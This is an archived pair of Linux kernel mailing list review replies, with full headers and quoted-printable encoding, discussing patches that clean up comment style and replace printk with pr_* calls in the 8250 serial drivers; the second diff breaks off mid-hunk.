Date: Wed, 16 Dec 2015 08:52:28 -0800
Lines: 268
Approved: news@gmane.org
Message-ID: <567196CC.2090305@hurleysoftware.com>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
 <1450280177-4460-5-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450284783 29489 80.91.229.3 (16 Dec 2015 16:53:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 16:53:03 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 17:52:51 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9FJo-0005Ry-UD
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 17:52:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754834AbbLPQwg convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 11:52:36 -0500
Original-Received: from mail-pf0-f181.google.com ([209.85.192.181]:34824 "EHLO
	mail-pf0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754771AbbLPQwc (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 11:52:32 -0500
Original-Received: by mail-pf0-f181.google.com with SMTP id v86so14706978pfa.2
        for <linux-kernel@vger.kernel.org>; Wed, 16 Dec 2015 08:52:31 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=jrJ8Gk5qLTqv+5Epn34R4L7G6wp71h4/Jric1F9Pdpk=;
        b=optM4q8A6tOtBFrnGyTYo4trTlideWS6l6LuWp9NhHXmhmV4M+EcLHPtOEJ3dvgDe6
         YUuJ7cE7TG+Z7mYC+5OPOnN/wu0ab29k6fkFmmqnRC6r+l4nXorKtkx85oGTKdhdhHVc
         thmqSMNxYKYmMuNLRsyJM0Rw8uJRXoWcNCCV+winzEU4K7UlCsjCfqb0p0OspkUy+SVQ
         jhiJ59/7un7L3OHcSO4fk7pnWIW1B0Gglfc9QPE/X46RE7S7HNbxUiGnmOEiuL+k50ru
         GK82jtfgN4oRrqXNBHj0MH46lYb+bR0oNTnsgFLBba6uVJZTbY7DL9JJC4xvgXiD3CxJ
         xqGw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=jrJ8Gk5qLTqv+5Epn34R4L7G6wp71h4/Jric1F9Pdpk=;
        b=QyZ8Xw897nY/LP1dZTgc+HucrR1w21esmRZpTuJd5cJ88AfK1Ii+BvJ5+h45oDpzA7
         SZvUnShwJboH9NccACpLO06lW25nXwkA0m6lrJZYAkcn1q3ShTICGVmRhZ/GOt5OsiLA
         8oAwLtFAPRYGYV200l4JTP/EiI9n5F61izK/ZNGNgvk1jPzIPQ1qehWw76i01Vlch+iz
         C1k7H1hGQxySTxKK8G1Dz/hxe3Zt9JIALNLtot9MqxeYRzMsUDFH/gC5B4FXbyUBRBI3
         +hzOBCtWjsB4401J4HikihPyBxKw5uOgdNTBPV+9ah3GvWfZqOwEaEBtHnqr+e6I96ay
         vGEQ==
X-Gm-Message-State: ALoCoQlq+tp2cPqab1B6O/ReFZZDPJ6bARtr1i9GMactc5YB7NF/bL2KVtumwD9dgwjDABVgSZnGKOUfci6NLZYGSrItqAO2bA==
X-Received: by 10.98.67.87 with SMTP id q84mr6741405pfa.134.1450284751532;
        Wed, 16 Dec 2015 08:52:31 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id fc6sm10316626pac.44.2015.12.16.08.52.29
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 16 Dec 2015 08:52:30 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450280177-4460-5-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109939 gmane.linux.serial:21115 gmane.linux.ports.parisc:26202
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109939>

On 12/16/2015 07:36 AM, Anton Wuerfel wrote:
> Checkpatch outputs some warnings about incorrect comment style,
> which is fixed by this patch.
>=20

Please fix the comments in a consistent fashion. For example ...

> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
>  drivers/tty/serial/8250/8250_ingenic.c |  6 ++-
>  drivers/tty/serial/8250/8250_pnp.c     |  6 ++-
>  drivers/tty/serial/8250/8250_port.c    | 29 ++++++-----
>  drivers/tty/serial/8250/serial_cs.c    | 92 +++++++++++++++++++-----=
----------
>  4 files changed, 75 insertions(+), 58 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_ingenic.c b/drivers/tty/ser=
ial/8250/8250_ingenic.c
> index 49394b4..c53d2501 100644
> --- a/drivers/tty/serial/8250/8250_ingenic.c
> +++ b/drivers/tty/serial/8250/8250_ingenic.c
> @@ -153,13 +153,15 @@ static void ingenic_uart_serial_out(struct uart=
_port *p, int offset, int value)
> =20
>  	case UART_IER:
>  		/* Enable receive timeout interrupt with the
> -		 * receive line status interrupt */
> +		 * receive line status interrupt
> +		 */

This isn't the same style as ...

>  		value |=3D (value & 0x4) << 2;
>  		break;
> =20
>  	case UART_MCR:
>  		/* If we have enabled modem status IRQs we should enable modem
> -		 * mode. */
> +		 * mode.
> +		 */
>  		ier =3D p->serial_in(p, UART_IER);
> =20
>  		if (ier & UART_IER_MSI)
> diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/=
8250/8250_pnp.c
> index 1f18065..2731031 100644
> --- a/drivers/tty/serial/8250/8250_pnp.c
> +++ b/drivers/tty/serial/8250/8250_pnp.c
> @@ -367,8 +367,10 @@ static const struct pnp_device_id pnp_dev_table[=
] =3D {
>  	{	"PNPCXXX",		UNKNOWN_DEV	},
>  	/* More unknown PnP modems */
>  	{	"PNPDXXX",		UNKNOWN_DEV	},
> -	/* Winbond CIR port, should not be probed. We should keep track
> -	   of it to prevent the legacy serial driver from probing it */
> +	/*
> +	 * Winbond CIR port, should not be probed. We should keep track
> +	 * of it to prevent the legacy serial driver from probing it
> +	 */

this style.

>  	{	"WEC1022",		CIR_PORT	},
>  	/*
>  	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver
> diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial=
/8250/8250_port.c
> index 57ad0f2..0ec823e 100644
> --- a/drivers/tty/serial/8250/8250_port.c
> +++ b/drivers/tty/serial/8250/8250_port.c
> @@ -250,9 +250,11 @@ static const struct serial8250_config uart_confi=
g[] =3D {
>  		.fcr		=3D UART_FCR_ENABLE_FIFO | UART_FCR_R_TRIG_10,
>  		.flags		=3D UART_CAP_FIFO | UART_CAP_AFE,
>  	},
> -/* tx_loadsz is set to 63-bytes instead of 64-bytes to implement
> -workaround of errata A-008006 which states that tx_loadsz should  be
> -configured less than Maximum supported fifo bytes */
> +	/*
> +	 * tx_loadsz is set to 63-bytes instead of 64-bytes to implement
> +	 * workaround of errata A-008006 which states that tx_loadsz should=
 be
> +	 * configured less than Maximum supported fifo bytes
> +	 */
>  	[PORT_16550A_FSL64] =3D {
>  		.name		=3D "16550A_FSL64",
>  		.fifo_size	=3D 64,
> @@ -1970,16 +1972,17 @@ int serial8250_do_startup(struct uart_port *p=
ort)
> =20
>  	serial8250_set_mctrl(port, port->mctrl);
> =20
> -	/* Serial over Lan (SoL) hack:
> -	   Intel 8257x Gigabit ethernet chips have a
> -	   16550 emulation, to be used for Serial Over Lan.
> -	   Those chips take a longer time than a normal
> -	   serial device to signalize that a transmission
> -	   data was queued. Due to that, the above test generally
> -	   fails. One solution would be to delay the reading of
> -	   iir. However, this is not reliable, since the timeout
> -	   is variable. So, let's just don't test if we receive
> -	   TX irq. This way, we'll never enable UART_BUG_TXEN.
> +	/*
> +	 * Serial over Lan (SoL) hack:
> +	 * Intel 8257x Gigabit ethernet chips have a
> +	 * 16550 emulation, to be used for Serial Over Lan.
> +	 * Those chips take a longer time than a normal
> +	 * serial device to signalize that a transmission
> +	 * data was queued. Due to that, the above test generally
> +	 * fails. One solution would be to delay the reading of
> +	 * iir. However, this is not reliable, since the timeout
> +	 * is variable. So, let's just don't test if we receive
> +	 * TX irq. This way, we'll never enable UART_BUG_TXEN.
>  	 */

Might as well unwrap this to max line length too.


>  	if (up->port.flags & UPF_NO_TXEN_TEST)
>  		goto dont_test_tx_en;
> diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial=
/8250/serial_cs.c
> index f5270ba..a4bdcf6 100644
> --- a/drivers/tty/serial/8250/serial_cs.c
> +++ b/drivers/tty/serial/8250/serial_cs.c
> @@ -1,35 +1,37 @@
> -/*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> -
> -    A driver for PCMCIA serial devices
> -
> -    serial_cs.c 1.134 2002/05/04 05:48:53
> -
> -    The contents of this file are subject to the Mozilla Public
> -    License Version 1.1 (the "License"); you may not use this file
> -    except in compliance with the License. You may obtain a copy of
> -    the License at http://www.mozilla.org/MPL/
> -
> -    Software distributed under the License is distributed on an "AS
> -    IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or
> -    implied. See the License for the specific language governing
> -    rights and limitations under the License.
> -
> -    The initial developer of the original code is David A. Hinds
> -    <dahinds@users.sourceforge.net>.  Portions created by David A. H=
inds
> -    are Copyright (C) 1999 David A. Hinds.  All Rights Reserved.
> -
> -    Alternatively, the contents of this file may be used under the
> -    terms of the GNU General Public License version 2 (the "GPL"), i=
n which
> -    case the provisions of the GPL are applicable instead of the
> -    above.  If you wish to allow the use of your version of this fil=
e
> -    only under the terms of the GPL and not to allow others to use
> -    your version of this file under the MPL, indicate your decision
> -    by deleting the provisions above and replace them with the notic=
e
> -    and other provisions required by the GPL.  If you do not delete
> -    the provisions above, a recipient may use your version of this
> -    file under either the MPL or the GPL.
> -   =20
> -=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
> +/*
> + * =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> + *
> + * A driver for PCMCIA serial devices
> + *
> + * serial_cs.c 1.134 2002/05/04 05:48:53
> + *
> + * The contents of this file are subject to the Mozilla Public
> + * License Version 1.1 (the "License"); you may not use this file
> + * except in compliance with the License. You may obtain a copy of
> + * the License at http://www.mozilla.org/MPL/
> + *
> + * Software distributed under the License is distributed on an "AS
> + * IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or
> + * implied. See the License for the specific language governing
> + * rights and limitations under the License.
> + *
> + * The initial developer of the original code is David A. Hinds
> + * <dahinds@users.sourceforge.net>.  Portions created by David A. Hi=
nds
> + * are Copyright (C) 1999 David A. Hinds.  All Rights Reserved.
> + *
> + * Alternatively, the contents of this file may be used under the
> + * terms of the GNU General Public License version 2 (the "GPL"), in=
 which
> + * case the provisions of the GPL are applicable instead of the
> + * above.  If you wish to allow the use of your version of this file
> + * only under the terms of the GPL and not to allow others to use
> + * your version of this file under the MPL, indicate your decision
> + * by deleting the provisions above and replace them with the notice
> + * and other provisions required by the GPL.  If you do not delete
> + * the provisions above, a recipient may use your version of this
> + * file under either the MPL or the GPL.
> + *
> + * =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> + */
> =20
>  #include <linux/module.h>
>  #include <linux/moduleparam.h>
> @@ -441,16 +443,20 @@ static int simple_config(struct pcmcia_device *=
link)
>  	struct serial_info *info =3D link->priv;
>  	int i =3D -ENODEV, try;
> =20
> -	/* First pass: look for a config entry that looks normal.
> -	 * Two tries: without IO aliases, then with aliases */
> +	/*
> +	 * First pass: look for a config entry that looks normal.
> +	 * Two tries: without IO aliases, then with aliases
> +	 */
>  	link->config_flags |=3D CONF_AUTO_SET_VPP;
>  	for (try =3D 0; try < 4; try++)
>  		if (!pcmcia_loop_config(link, simple_config_check, &try))
>  			goto found_port;
> =20
> -	/* Second pass: try to find an entry that isn't picky about
> -	   its base address, then try to grab any standard serial port
> -	   address, and finally try to get any free port. */
> +	/*
> +	 * Second pass: try to find an entry that isn't picky about
> +	 * its base address, then try to grab any standard serial port
> +	 * address, and finally try to get any free port.
> +	 */
>  	if (!pcmcia_loop_config(link, simple_config_check_notpicky, NULL))
>  		goto found_port;
> =20
> @@ -480,8 +486,10 @@ static int multi_config_check(struct pcmcia_devi=
ce *p_dev, void *priv_data)
>  	if (p_dev->resource[1]->end)
>  		return -EINVAL;
> =20
> -	/* The quad port cards have bad CIS's, so just look for a
> -	   window larger than 8 ports and assume it will be right */
> +	/*
> +	 * The quad port cards have bad CIS's, so just look for a
> +	 * window larger than 8 ports and assume it will be right
> +	 */
>  	if (p_dev->resource[0]->end <=3D 8)
>  		return -EINVAL;
> =20
> @@ -623,8 +631,10 @@ static int serial_config(struct pcmcia_device *l=
ink)
>  			break;
>  		}
> =20
> -	/* Another check for dual-serial cards: look for either serial or
> -	   multifunction cards that ask for appropriate IO port ranges */
> +	/*
> +	 * Another check for dual-serial cards: look for either serial or
> +	 * multifunction cards that ask for appropriate IO port ranges
> +	 */
>  	if ((info->multi =3D=3D 0) &&
>  	    (link->has_func_id) &&
>  	    (link->socket->pcmcia_pfc =3D=3D 0) &&
>=20


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH 10/11] tty: serial: 8250: Replace printk by pr_*
Date: Wed, 16 Dec 2015 09:00:26 -0800
Lines: 196
Approved: news@gmane.org
Message-ID: <567198AA.2030503@hurleysoftware.com>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
 <1450280177-4460-11-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450285244 4873 80.91.229.3 (16 Dec 2015 17:00:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 17:00:44 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 18:00:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9FRJ-0003CM-KB
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Dec 2015 18:00:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965622AbbLPRAc convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2015 12:00:32 -0500
Original-Received: from mail-pf0-f182.google.com ([209.85.192.182]:33928 "EHLO
	mail-pf0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934157AbbLPRAa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2015 12:00:30 -0500
Original-Received: by mail-pf0-f182.google.com with SMTP id 68so14795873pfc.1
        for <linux-parisc@vger.kernel.org>; Wed, 16 Dec 2015 09:00:30 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=nrMQfNeoEi2WPfQ01fLvOXotNbHLEQO8s9WsA1RcXX4=;
        b=bbeIbm2O7Zcoa2cOmvC5embGBp/WyKGVXk+sYlSwoprzMuiDc52+p2WIGayKsF48+H
         DhtfNQvIiKfbrda2FLKEkmSLJtNe0SVx2JdRDF/uRtrs8gUQ4IxE5bMMOWzmjzEneX6N
         m4++L37gc6Awpa6bFBs570mZysBH6Lt2cF0sLJX0sEBqoJmi51UZfYQ54aK/MM5XPDuD
         2KCjqSWeSdImyADysXwJ3Msznw/jYRJ7KoZ5MDlUgIoJdCi9sYFAFtRCbsrdmXlDTS1N
         nby8Oy25jHl5zR/0UP5TLru9fCfA8Q0Ms+voR+HpMVlfdtsAdqBv4bC1VxBuqzOe5+dr
         hE0A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=nrMQfNeoEi2WPfQ01fLvOXotNbHLEQO8s9WsA1RcXX4=;
        b=UneMk2csRgkH/4z78eKzFeDRVpamiaGPpNtkIPjBDBEM4fZbaVMi+7Co/LzwVYx3S5
         AadPhxZmPPLo+4YGSfDRg0J7PWtlxSYsPHtZEXiTvGHCFKku5qBX6JTC9TyJ+81efJTN
         ukEpunxetJIAI0f88EEF4eSk9ocV6yrerO1YnAHg7okZh4Pi7NHMPnvl7blRjF/DQ+M4
         99Ud6Zowf1H3A02O5wSnVce/msWkS4Aqo6gyvk1gKfGPyV6s7LvioiXuarFRy3PoEV2h
         vT5UdMYL8rpx9o3iKr4h9fHWG+5o/pabGXC+1KwxCq3+nKTVu7/WXMahYPeTdCSLJLg3
         9ZtA==
X-Gm-Message-State: ALoCoQlI7znlcn6VWoNG2VmStZsz9fbauEz9RzS9Txol72CFKTEuq7jozE+VUF7BPnuS5LpqrSETfOl2UhW/tzJR63qLr0Hk0g==
X-Received: by 10.98.7.79 with SMTP id b76mr378356pfd.152.1450285230061;
        Wed, 16 Dec 2015 09:00:30 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id r193sm6008790pfr.65.2015.12.16.09.00.28
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 16 Dec 2015 09:00:29 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450280177-4460-11-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26203 gmane.linux.serial:21116 gmane.linux.kernel:2109953
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26203>

Hi Anton,

On 12/16/2015 07:36 AM, Anton Wuerfel wrote:
> This patch replaces printk by the corresponding variant of pr_* in or=
der to
> fix checkpatch warnings.

Comments below.

> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
>  drivers/tty/serial/8250/8250_core.c  |  5 ++---
>  drivers/tty/serial/8250/8250_gsc.c   |  6 ++----
>  drivers/tty/serial/8250/8250_hp300.c | 14 +++++++-------
>  drivers/tty/serial/8250/8250_pnp.c   |  6 +++---
>  drivers/tty/serial/8250/8250_port.c  |  3 +--
>  5 files changed, 15 insertions(+), 19 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial=
/8250/8250_core.c
> index 2b3731f..b5e0c48 100644
> --- a/drivers/tty/serial/8250/8250_core.c
> +++ b/drivers/tty/serial/8250/8250_core.c
> @@ -1095,9 +1095,8 @@ static int __init serial8250_init(void)
> =20
>  	serial8250_isa_init_ports();
> =20
> -	printk(KERN_INFO "Serial: 8250/16550 driver, "
> -		"%d ports, IRQ sharing %sabled\n", nr_uarts,
> -		share_irqs ? "en" : "dis");
> +	pr_info("Serial: 8250/16550 driver, %d ports, IRQ sharing %sabled\n=
",
> +		nr_uarts, share_irqs ? "en" : "dis");
> =20
>  #ifdef CONFIG_SPARC
>  	ret =3D sunserial_register_minors(&serial8250_reg, UART_NR);
> diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/=
8250/8250_gsc.c
> index 2e3ea1a..a9b63d0 100644
> --- a/drivers/tty/serial/8250/8250_gsc.c
> +++ b/drivers/tty/serial/8250/8250_gsc.c
> @@ -42,8 +42,7 @@ static int __init serial_init_chip(struct parisc_de=
vice *dev)
>  		 * the user what they're missing.
>  		 */
>  		if (parisc_parent(dev)->id.hw_type !=3D HPHW_IOA)
> -			printk(KERN_INFO
> -				"Serial: device 0x%llx not configured.\n"
> +			pr_info("Serial: device 0x%llx not configured.\n"
>  				"Enable support for Wax, Lasi, Asp or Dino.\n",
>  				(unsigned long long)dev->hpa.start);
>  		return -ENODEV;
> @@ -66,8 +65,7 @@ static int __init serial_init_chip(struct parisc_de=
vice *dev)
> =20
>  	err =3D serial8250_register_8250_port(&uart);
>  	if (err < 0) {
> -		printk(KERN_WARNING
> -			"serial8250_register_8250_port returned error %d\n", err);
> +		pr_warn("serial8250_register_8250_port returned error %d\n", err);
>  		iounmap(uart.port.membase);
>  		return err;
>  	}
> diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/seria=
l/8250/8250_hp300.c
> index 52c43da..85b574896 100644
> --- a/drivers/tty/serial/8250/8250_hp300.c
> +++ b/drivers/tty/serial/8250/8250_hp300.c
> @@ -110,7 +110,7 @@ int __init hp300_setup_serial_console(void)
>  	/* Check for APCI console */
>  	if (scode =3D=3D 256) {
>  #ifdef CONFIG_HPAPCI
> -		printk(KERN_INFO "Serial console is HP APCI 1\n");
> +		pr_info("Serial console is HP APCI 1\n");
> =20
>  		port.uartclk =3D HPAPCI_BAUD_BASE * 16;
>  		port.mapbase =3D (FRODO_BASE + FRODO_APCI_OFFSET(1));
> @@ -118,7 +118,7 @@ int __init hp300_setup_serial_console(void)
>  		port.regshift =3D 2;
>  		add_preferred_console("ttyS", port.line, "9600n8");
>  #else
> -		printk(KERN_WARNING "Serial console is APCI but support is disable=
d (CONFIG_HPAPCI)!\n");
> +		pr_warn("Serial console is APCI but support is disabled (CONFIG_HP=
APCI)!\n");
>  		return 0;
>  #endif
>  	} else {
> @@ -128,7 +128,7 @@ int __init hp300_setup_serial_console(void)
>  		if (!pa)
>  			return 0;
> =20
> -		printk(KERN_INFO "Serial console is HP DCA at select code %d\n", s=
code);
> +		pr_info("Serial console is HP DCA at select code %d\n", scode);
> =20
>  		port.uartclk =3D HPDCA_BAUD_BASE * 16;
>  		port.mapbase =3D (pa + UART_OFFSET);
> @@ -142,13 +142,13 @@ int __init hp300_setup_serial_console(void)
>  		if (DIO_ID(pa + DIO_VIRADDRBASE) & 0x80)
>  			add_preferred_console("ttyS", port.line, "9600n8");
>  #else
> -		printk(KERN_WARNING "Serial console is DCA but support is disabled=
 (CONFIG_HPDCA)!\n");
> +		pr_warn("Serial console is DCA but support is disabled (CONFIG_HPD=
CA)!\n");
>  		return 0;
>  #endif
>  	}
> =20
>  	if (early_serial_setup(&port) < 0)
> -		printk(KERN_WARNING "hp300_setup_serial_console(): early_serial_se=
tup() failed.\n");
> +		pr_warn("hp300_setup_serial_console(): early_serial_setup() failed=
=2E\n");
>  	return 0;
>  }
>  #endif /* CONFIG_SERIAL_8250_CONSOLE */




> @@ -180,7 +180,7 @@ static int hpdca_init_one(struct dio_dev *d,
>  	line =3D serial8250_register_8250_port(&uart);
> =20
>  	if (line < 0) {
> -		printk(KERN_NOTICE "8250_hp300: register_serial() DCA scode %d"
> +		pr_notice("8250_hp300: register_serial() DCA scode %d"
>  		       " irq %d failed\n", d->scode, uart.port.irq);
>  		return -ENOMEM;
>  	}
> @@ -261,7 +261,7 @@ static int __init hp300_8250_init(void)
>  		line =3D serial8250_register_8250_port(&uart);
> =20
>  		if (line < 0) {
> -			printk(KERN_NOTICE "8250_hp300: register_serial() APCI"
> +			pr_notice("8250_hp300: register_serial() APCI"
>  			       " %d irq %d failed\n", i, uart.port.irq);

Missed these multi-line strings in your previous patch
"tty: serial: 8250: Fix multi-line strings"


>  			kfree(port);
>  			continue;
> diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/=
8250/8250_pnp.c
> index 2731031..3811c67 100644
> --- a/drivers/tty/serial/8250/8250_pnp.c
> +++ b/drivers/tty/serial/8250/8250_pnp.c
> @@ -465,9 +465,9 @@ serial_pnp_probe(struct pnp_dev *dev, const struc=
t pnp_device_id *dev_id)
>  		return -ENODEV;
> =20
>  #ifdef SERIAL_DEBUG_PNP
> -	printk(KERN_DEBUG
> -		"Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
